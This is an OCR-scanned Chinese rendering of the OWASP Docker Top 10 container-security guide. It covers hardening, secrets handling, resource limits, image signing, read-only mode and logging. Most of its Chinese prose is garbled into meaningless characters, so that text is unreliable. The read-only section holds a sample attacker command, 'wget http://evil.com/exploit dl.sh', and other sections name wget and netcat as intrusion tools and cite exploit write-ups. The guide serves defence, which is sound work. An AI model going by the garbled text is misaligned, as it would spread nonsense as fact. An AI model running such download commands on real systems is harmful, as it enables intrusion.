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1) OWASP: Security by Design Principles

2) Docker Docs: USER command

3) Docker Docs: EXPOSE command

4) Rasene's blog: https://raesene.github.io/blog/2017/07 /23 /network-tools-in-nonroot-docker-images/
5) Docker Docs: Isolate containers with a user namespace

6) Docker Docs: User namespace known limitations

7) How I Hacked Play-with-Docker and Remotely Ran Code on the Host
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2.2.5. =B N

1) OWASP's Top 10 2017, A9: Using Components with Known Vulnerabilities
2) Weak default of etcd in CoreOS 2.1: The security footgun in etcd

3) cvedetails on Kubernetes, Rancher
4) OpenVAS

5) Blogof Aquasec: Dirty COW Vulnerability: Tmpact on Containers
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2.3.5. S CER

1) THE tool for network scanning and discovery is nmap.

2) Containers at Risk

3) RedLock: Lessons from the Cryptojacking Attack at Tesla, Arstechnica: Tesla cloud resources are hacked

to run cryptocurrency-mining malware.
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PR LE, TEAEBAT RS e R 52 2 T IR I OR3P B2 15 A 590k I B A 2 R E 2 .

TR ENORG, 58— DR IR RATHR, A S A LTI e RS0 RATERE RS, £
TGO, ZERNRATR——FEBRREE RS WMRAIREFE —AIRHERRATIR, ER A S0 S AR
G 1E AR B BT o R 55 2 N PR/, S S8 87 FH AR 2> FE B T iy AN BPA B P K 508 R i

BN ENERRIE RGN, JRATRIN B 75 R0IE B 5 4 k457 19 H 3
ORI, T B OR TR LAN FR RN SRAE TR AR ST o AR IR G B R E T A B AN LA

Y

BT LA LE B T AN S A 2

> AREEAHL TN B Al 2% 1 1 e s

> REAZRSEE T S RIE?

»  Tcpwrapper (FEAHL) AR AT HAMAC B e 35T A) AL N RHZ IR S5 8V ] i FE e 2
> REAEM ORI S VRN Z AR OO T
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XTSRRI RS, BATH ZEF R E SN, BRI R Xt T A& R IR
¥ .

TN RS ENLERAE RGER AppArmor B SELinux BT A A= Hehs, 7KIEAZC X LA PRI o {3 TR
L T RAE RS H E ST R BIRA SR A, I 7 w8 X L )

2.4.3.2. o

XHFRAR, AEMISEE VR R AR I e AL E R F L. Alpine Linux (5 FARINAFED, BRINZEER) ik
P Rk, BRI T — 4 IS0 fE, 0 weget Ml netcat (Hf busybox $24E) o FEIXEER F kB AE A
FAPMRENLR, X TR SRR T DA R R . SRR AR AR R L, A AR A ERE, TS %
Ak FLOSS T H 1) distroless §if%.

A — L FAR 1 e PR IRA T RZE P& — o LA BN 2 R R E AR R A BRI RS, ERIA
ITEOL R, XA S BURF BN 8 P TR B R B root

DA 2 — Se g 1 i -

1) ZEH SUID/SGID bits (——security—-opt no—new-privileges) : BRI Hpiaq7, SUID ikl 44
WA AR AR . 80 i H——cap-drop=setuid ——cap—drop=setgid N EL T A2

2) O EZIhEE: Docker B HTBHIASEAESIM 38 (M. /usr/include/linux/capability. h) FR#IZ] 14
(M. man 7 capabilities and Z# L #ik Docker Documentation) . AJHEMRRA] AL — L8645
nethindservice, net raw M ZINEE, WSF WEk “Reddat Blog: Secure your Container: One weird
trick” o pscap LEFEEHIHAREN LM, ANEfFH-—cap-add =

3) WHRARTEELLA L B SRR AR r ], ARAT LLE L JSON HR L B SO (——security-opt
seccomp=mysecure. json) RKIEH|IFFAN>300 RAVA, 1ES S CHR “Docker Documentation, Seccomp
security profiles for Docker” o BRIANHEWL T, K& 44 PNERGHAHCELHW AR ., X B AE(HH unconfined

i apparmor=unconfined.

BRI AT E VR HE T RO — A Sl AN ZHE D RER BT seccomp FL B AR .

2.4. 4, E L7555

T sl

eted H— BN S AN, &t — DI LI RESTful APT AFNERI LS, A RTREH .
MAVREEH, fdiT22B5 1k eted MR55 Mt ER 45 FF AU FLIC o (22 3RAE shodan b 17— AMRIARIE R, KIETF N
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HEEM EA 2284 & eted ko5 TREAE T —L8, EH=XERAN, RES T RAGEEIRARE: £+, 1

ZiF+H, . cmsadmin. mysqlroot. postgres Z5fE

2.4.5, =B N

1) Docker’ s Best Practices
2) Google’s FLOSS project distroless
3) Docker Documentation: Runtime privilege and Linux capabilities

4) Docker Documentation, Seccomp security profiles for Docker

5) Weak default of etcd in Core0S 2.1: The security footgun in etcd

6) Kubernetes documentation: Controlling access to the Kubelet: KUBELETS EXPOSE HTTPS ENDPOINTS WHICH
GRANT POWERFUL CONTROL OVER THE NODE AND CONTAINERS. BY DEFAULT KUBELETS ALLOW
UNAUTHENTICATED ACCESS TO THIS API. PRODUCTION CLUSTERS SHOULD ENABLE KUBELET
AUTHENTICATION AND AUTHORIZATION.

7) Github: “Exploit” for the API in 6) .

8) Medium: Analysis of a Kubernetes hack — Backdooring through kubelet. Incident because of an open API,

see 6) .

9) RedHat Blog: Secure your Container: One weird trick
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2.5. TOP5: 4H L FXRE

2.5.1. FEH AR

N T AEBERREAT R BRI, R TR 2 (A 98 EHOIE — A B BT RSR T RE R AE . HR N2 A
FPEERF, IR EA ), UONAS R BR8] REAT AR 122 4 BT SOMAS A 22 4R

AN R A AL A S A A A A T RE R AR B R e R AR A R R S A,
IR BT AP 5 BHR AL — . PR BRI AR TREA & A 2 MRS, AREGHEREL T, T

B i AL PR PRI T SR AU
HAMNRATT R m M 2 M P MR .

2.5.2. ZETH A

IR — %) LR CRE, A — N IR B E SR s B GRS R AT FIE . AL PR A e B A

2.5.3. B 77

RF s EMARENRYL, AR A AR Z2RESER LT XHESRE .

> AP EBITE R EN RS L, HEROERA EE 2N Z EVER . XN EN A RVA A A

> FHEBEIENEEZEME, ENIZFEREE LTI ORI B A, BEE . PR, DIEARS . AT
ME A CERERZES T Kubernetes) AMNIZER—E FHL L.

> HEULYIEREY, FEE NI LIEITARAASEN, RIEERREMH vm GEIINLD RO BEAF § %%
2R, AR AR .

2.5. 4. B E

B R#1

— AN KA KA F RN . A RIRIZES] T PHP gife, st S ) S 358 B A J1 ) CT/CD 4. %A /)%
WA, R TR KB B, AT BRIk . oA RIER, BE NH WA 77 3048 I
IR B k. AR, FANMNAERA S N ERATIRE, IEe g B RS AR, s
BRI o X R OB e B R I R HEN T 88 vh . I IX AN, Sl R N AT I R ST U RN 2 4 i
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eted BUGRFE T M http (s) . BCEMMEER TH A “Dirty COW” Jifl, & fevrHih & BEHs MBS
HIMR H SR —— AR T a4

2.5.5. =B N

1) Dirty COW, vulnerability and exploit from 2016
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2. 6. TOP6: HLZEfS BBHRY

2.6.1. FEH AR

FERL PR PP A8 B RS U5 i) & BRI RL B P R AE S BB AR — NN IRE S BAMB R B T A N EE R . #
FIXEHEE B EARANZ FRELEER, PFILE XS L SR 2 2R E AR . AR
FTREMIFER ARSI, ABILATR 4 A5

1) AEAERARWUR i i B AL
2)  MEHBHERAIIT IR LES A
3) A RIE R BRI B

4)  WORIRIOHLE B N 1 .

2.6.2. REFTH

FERIIR ST BN v, AR 2 AAPFAE SR Bl B . 4 ST AUl SRR iR E L, &
AN R AR RURME SR & AR A BRIEM TR W TRSNMH, RSMHVEEE 2 AT, ek
HEBAER RSB, SURFI WS E, volume BNAHET :\ah At NEAFTER W TE I 22 4 KK .

i

2.6. 3. i By 7

XA PGB R DRI St A, AN SZBR T8 H A TR AR
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FEEFFPE P HREERIELR.

WRARA — BRI R BNV, TR ZAE — DRSS This T RBY, R TR T SO A % %
AT A . ARV IZAHUE LR E BUCRSA G h, B I AE Docker SUPF AP E SCE RIS
arg R

B, ERWRE AT LA RIS AT AS R AU R . 8 N RENS [ 1 — L R
"E BB T e 1] 1 T R 10 RS —— R RE R IR N e B LA B, (B A R AR A N R LS.
BRLI, T WL B0 7 1] R ) 2 1 0 IE 75 22 N OV L Y e — PR 4 i %

BRI, XL B S A B R A Aok . I R T R A BB B, W
FEE PR I H T A B AU

SRR TSI FBEA RS,

WMARNE B N ERIESRBER T, WA EEAEBIT R NS BRI L. A AL LA
RN — i B RMEERE. RS

fil PP B A2 5 (4 fE e £ TR AR A 5 5 A st Fe AL A, OV B AR 5 (1 e ST SR B S 1Y
HEE R (B rhlESds) o i A BERG i H SR R U ML # BRI A 252 .

docker run —e SECRET=myprrecious image

docker run -env-file ./secretsfile. txt image

BT RN, VP2 2 e RS EE %, XM AT, AN SRR B K S L
W KGR SR IR L (5 B AR B s T

docker run -v /hostdir:/containerdirimage

export S FILE=. /secretsfile. txt&& <--+> && rm $0°

AR E R BAR RIS I -

B MHVEHIEEWE A ERE—NE, JHEIRME AR — BB SCE S — R R IRLE
fEE — PR G A

AUl A7 A R TRDER, R R A AT REE bR . T ELAR T BE I F A RE AL A et . JER
AL L, AT AR N AT RESRAS AR TR 2, AT BR A A AT T AT g Al ) £ 5

W ERAR BN BRI -
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> HUEBHE T EAEE AT, JRAESRESIN, §FE N AL E T BTN S . A m T
BHWNE VAR RIS IEAR XM vk, N2 AT A0S & 1 1 15 B S B VA i,
RIEE AR AR E .

»  XFT Kubernetes, HHITZEALE API IR%5%% Fi&HE ——experimental—-encryption—provider—config flag fx
&, DU RN EC B 5. Docker Swarm 4 RS R BOI0 %, (BARMAZ AR QL BUE T IR

Swarm.

2.6.4. RBIF R

Rl

LRI E A mysql Ba MR, K mysql FIKSAMEMSERSA THEA, XFESECT & aEV R
A NABESRE R mysql FRIIK S MRS, 1R ] BE 3 BU™ 5 H0E M55 3.

2.6.5. 3% LBk

1) How to keep your container secrets secure
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2.7. TOP7: REGFI

2.7.1. FEH AR

WRYE LRI RG], BEAE CPU. WAZERIMZEAIEAE T/0 J7 1 58 A PR o XA bl 2 T8 i e
BT R B IR B, AT SEMA 2 AL A AR A S O BB R . T B BRI ORI RO A R Bk,
RBA WL, NIRRT, WRIETHEE, AR AR RS

2.7.2. ZEFHH

IR —AEEER T BN 2280, 140 docker, EANRE HARZ AR EHILZD BB, RIKH5r CPU AN
WAF. PIE, Rl A S KR A I 5, A SR ARSI Z T .

R A — DI, RIS NSRS, AR REREAR R 1B

XFAAE, BN EEARE NN Linux WEZHAH —DEHER “00M killer” o AR AAFA LR, 00M
killer Mt B, RJEEIM——EM —S850ER R WA, DME RN AR SR AT Bla s . BoRsEmet
FEFFAN R EAAF AR M TR . 10 HL AL RAM 225 e A .

2.17. 3. Wi B 5 v

2.7.3. 1. B R PR 1l

AT EN} docker ) CPUL MEMORY. MEMORY SWAP. PID Z5iE4TFR il

BRI J7 10 B e b A AR TE AR CPU J7 TG DN 21K BBR . IR BIX SE PR, 25 35K AN AE 70 e 58 2 1) A A7 8K
THFEE Z 1 CPU,

XN, AW EEDEH TR EMRS -memory Al —memory—swap. #RHIA] LU 8 2 ME . 18
WE N-—memory-reservation. N T RIPEART IR, AT LABEE —oomkill-disable. XFERIH 248 5797 2 FE
A —ANMBARK) OOM 3%, ASSHARIE. 1 H Docker M 1. 10 UG, HFABREE —pids—Timit BRHIZ Pt
FRA, AP LT DA BR ] 25 2% A BE AR AL

docker stats

CPU % MEM USAGE / LIMIT MEM % NET I/0
R 632 GB / ) GB 64% B / B
y . o ) GB 3 ) GB 3 [2% B / B
2bd9318c12¢ 67 d '3 GB / 59 GB 14 B J B
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#PR 1l B K memory sudo docker run —it ——memory=" [memory limit]”
[docker image]
#PR i1l memory—swap sudo docker run —it —memory=" [memory limit]” ——memory-—
swap="" [memory limit]” [docker image]
#l[2 1] CPU sudo docker run —it —memory=" [memory limit]” -—memory-—
swap=" [memory limit]” [docker image]
T 5 A AT 1A T 3 PR ) sudo docker run —it —memory=" 1lg” ——memory—
reservation=" 750m” ubuntu
HXF 2 7 PN AR FEHE AT T PR ol sudo docker run —it —memory=" 1g” ——pids—limit 30 ubuntu

2.7.3.2. SRR EREE

WA VE, RN EERINTE, WSO, S DR e, i R A
RIS, AN wirtes AR AT IR .

2.7.4. EhIGR

T sl

FE—NR SRR EH, Yl DOS By 1977 By web RS 4%, WIALXAS web JIR 55 25 0 25 4% A A B U5 B
HAIE, 1% docker FERE S FH & LA N AE AT CPU, # d7 FAt S R IR BE, AT S AR IR 95 AN W]

2.7.5. S % CHR

1) OOM stands for Out of Memory Management

2) https://www. kernel. org/doc/gorman/html /understand/understand016. html
3) https://lwn. net/Articles/317814/

4) https://docs. docker. com/config/containers/resource_constraints/
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2.8. TOP8: AHBEBTBMEMIERME

.8. 1. HAERIR

FEC R G5 (AL S iy, AR BAS AR A 202 — M%)
W OR RGBT (1 I A 8 1 e A R A 5 B R B 2L

fliH] Docker Engine FJLLKEEER (E¥i) HERBIAILEAA registry. WAEAEAEVREEW W E i i (£ {8 1 A\
registry B P A BodfE 1) 58 BEPE AN R AT 3 .
Docker W#AE/T (DCT, Docker Content Trust) RVFEMG KA FHMHE T4, VPRI BRI E:

Rkt it IR SEAN TS A AT IE

> BBABEINSHEN.
> RATE B MRIIE
2.8.2. ZETHH

X BLAR I BGE TBOR MR BB A N, BET UL AR RR, EEgitE TR A, B S
MEAES, TG MREARN BT E L, BRSPS B .

2

Registry
pull””~ s

Admin
dend APIs

r -

-

‘Nﬂl

v push

APIs

s

Container Engine

A

b )

Container Engine ]

» |

Development
Toolkits .@-

Dev. Machine

-~
Container
Client

S === ]
i)

2

Container Host Container Host

2.8. 3. i b7 5 v
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1) f£ Docker Z#SHIAYE R, F R &ML —FFK A Docker WS/ (DCT, Docker Content Trust) HIZhAE
HRSLIUFAENLH -
> Docker SR IR AT AT LATENG AR R B PE rh i 0 JLdEAT 2544 o A8 FH 2 W) DASE S BUBAZ BT EA T ARG
BT BIS AT A5 AE . R DCT mI LARR AR 2 BE 85159 2 AT A ZE 0 BE R

BRROCERS

& %

8 push pull 8

BhE ERE
»  DCT A LAk B 8% 45 & DOCKERCONTENTTRUST 3 Ji FH 8% 55 1] .
BZH SR ENEEEN 17 FIEESESTTSIEIT R DCT;  #H % B v HAb AR 1935 4> ¢ 4 DCT.
$ export DOCKER CONTENT TRUST
<

l*P» © 13:12:37

i*P» © 13:13:22

> HEDT G, BHREZLEE:
v RS Y.
v Y5E— Docker RMEFEE— M AH.

30 /37



OWASP EIJI

The Open Web Application Security

OWASP F2eR e+ AXK

v ff image %44,

v RIEEBRECES.
2)  BATATLUMEM Docker Notary SRHEBIFATINIE PN 25 (1 58 52 M FISK A -
Notary J&—FH T R AT A HZ TN AEEEN TR, KA T D& T8 T84, &bl
UE P2 SRR AR R . Ih D RE L — AR B 20 b, ATORS LI EZ(E
TR RATH -

& GitHub, Inc. [US] | https://github.com/theupdateframework/notary

go report TA%

se scan failing

2.8. 4, E7b5 5=

T sl

REMAGGEAE NS, EAERRTE, EEyanE T R, BB T IS A, Wi wmas s
R A EL.

T -- SRR

== —> ®

— —

Lk op B =

FEe. FiNE ERE T HARE é

G BEEE

& %&\ B
v 7\@%
D

BESE o

sthas
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.8.5. e =P N

1) https://docs. docker. com/notary/getting started/

2) https://medium. com/better—programming/docker—content—trust—security—digital-signatures—

eeae9348140d
3) https://docs. docker. com/engine/security/trust/

4) https://www. ithome. com. tw/news/1133033
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2.9. TOP9: A ZBKTER

2.9.1. FEH AR

QAT A F A —— AN AR B — A, AERMNE, RSAEME RRKIE AL HES, B,
ENTA R E B . SRR IS OL T, QR h B IR TR N 1, TFAN A0AT DA 44 el A 3 B8 5 %

Read-only mode J& 7 #s N[ 1) — MREF AR, KIOVE A E RIS . KA e Bt By R ] LIpT LR &
V1R 2R 5 NN S AR LA G Sl I ] 1 g R el o s Y 54 20 I 4% 7T AT LB RR BB O 4 R AT A S0 —
—(EE B R B Ak 7 Al X R

2.9.2. ZEFTHH,

WRBAIARE SR R, Yebh# T L@ 2T B SR, @dmiE T ael i 22 107 SR 8 %«
WM. bl
»  wget http://evil. com/exploit dl. sh

»  apt-get install / apk add

WA AT DR 1 5 AN P AR (R AR — 2 T, b IT BB K A R U5 ), 0 A 4 S i
WO SBOF EHRE . X TAAIA RS, A% P N R PP IR 55 AR K 75 S SR I AR BT 0, JF HLZ Al Y
PR ER T

2.9. 3. i B 5

FE— A B UIR S5 A3 (0 R AR P oy, SRS IR S5 PT LLES B AE — AN P ) R ae o i SRR S5 76 A 7= B3
HANREIE R IE1T, JFPR N AW DL EFRBOZIRS A 548, ARG EFE. 1E Docker Ml Kubernetes PARAH KL
A, AR — MR BEE Docker "B HZIE I, ETEH BN ERE R hn & . AR SO 2 1 25 R o
AiR. AL, Docker FIF T LUK S8 HOMS G J2 I BN R 1L, DMEREAT B Al . A S E T
MR IZ T SNSRI RE . B30, OpenShift Hr 7% AT ABRIMEH] CRI-0 78 R ki T igqT, CRI-0 J2
Kubernetes 2 %32 17 I 4 FU A — N SE I

W& docker read-only Bzt

docker run ——read-only ...

docker run -v /hostdir:/containerdir:ro
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2.9.4, RBIF R

B E#1

TE—H WIS s, —> web IRSHGRBAE T docker 85, (HRF AHELLF FIX AN A T —A
ssh [ LR FEAES, AR vl Be 5 BB R X . 17— BRI B 5, WA SRR BB A SRy 1
i, AR SHATE A RS AN, AR RSSO I 7 A BE L

2.9.5. 3% LBk

1) https://searchitoperations. techtarget. com/answer/Is—read—only-mode—a-viable—approach—to-

container—hardening

2) https://www. xenonstack. com/insights/container—security/
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2.10. TOP10: H=ZE

2.10. 1. FHAEHR

Docker MY 7 N AR HIEEE 70, BB 7 HEE BN TAERE. 28N HES A, mekH
EHNEHIG (stdout, stderr) , Docker HEIXAENFEH# H AR BIENIN H B0, FATELLE A H S X
i LGS I BN 7N, A HE2E e S8 35,

2.10. 2. ZEFHH

D HERALL.

R A SR HEF AL, — BRSS E R SMER 7, H SRS,
2)  HEPL.

A HENRFERE, SEATMER H SRR, X ERAVRAERRA R L.
3)  HEFHEHLT

WERANK H & A JAT VRO 2 101, H S RO R AR PR A IA B AL TORMERE A= A, AT
SOMEEA RGN IE R A

2.10. 3. B 7

TEREAN TR RN 210, FRATT 75 B H R m B4y LA R 2 AN H 1Y
D AHEHE.

> MHHEE GURSHZB .

> AHPIRSGIRS HE (Web. Appl. DB %) .

2) kT EMHE (k8s. openshitf H#E) .

3)  EHHE BERGHITHI .

LA f H RS A AT LA Bl DR 2 37 2 4 1) st IR AU ek a A, P DARATT AT 5 20K L 42 B Lt AT 20 SRAn A7
fitte T HERRRAMLM 0L, SVl &2 —EH R B E PO %
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Docker Daemon
] Centralized Log
Log Shipper Management
[ json-file H Files }—»
[ 1
System Journal }—b ‘
] [
rsyslog ;@a | HTTF ]
L__UDP / TCP / TLS——>] .
i syslogeng Lowsent s elastic  sematext
TCP— Whiventd
B
5 Windows Event Smra]—h
£
? LTCP (HTTP / HTTPS) > splunk >
UDP. g raytog
Logentries TCP | HTTPS > 3 logentries
Amazon CloudWatch TCP /HTTPS CloudWatch
TCP / HTTPS '-)

ERIMEOL T, Docker SPH AL BN — NEARH B “info” , WIRARLXFERI; BE Docker 5§37
BHREHEZHN “info” o FAJFEH: WE - MEHHEL], BCHE Docker Sy HERERIC KR LG AR EAH 1)
Fff. “info” KA ERFEEA R BRI H ESAMIPA HE . BRAFLE, JRARIZLE debug HEGZ
17 docker sFHHERE .

2.10. 4. Ebo5

G #1

IBHEN RAE R BRSO, RN H ST R AAR G, — B EVUE SRS ML s F kM e, H

B F#H2

FHPAER docker #3E N AR, TEP LB TEE, BHENERENT debug, £
WHEAT e, B RGO RERLH B S BOLIE IR WA .

T =43

Bt —A> pass “FEHAT VBERGEE, EANIEEERE, MBS HERGEHAT TR, BUOVES
T RO AL P A AE AR, B ATG 20 Bt BEAT PR AT RAE .
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2.10. 5. e =P N

1) https://sematext. com/blog/top—10-docker—-logging—gotchas/

2) https://cheatsheetseries. owasp. org/cheatsheets/DockerSecurityCheat Sheet. html#rule-10-set—

the-logging—level-to—at—least—info
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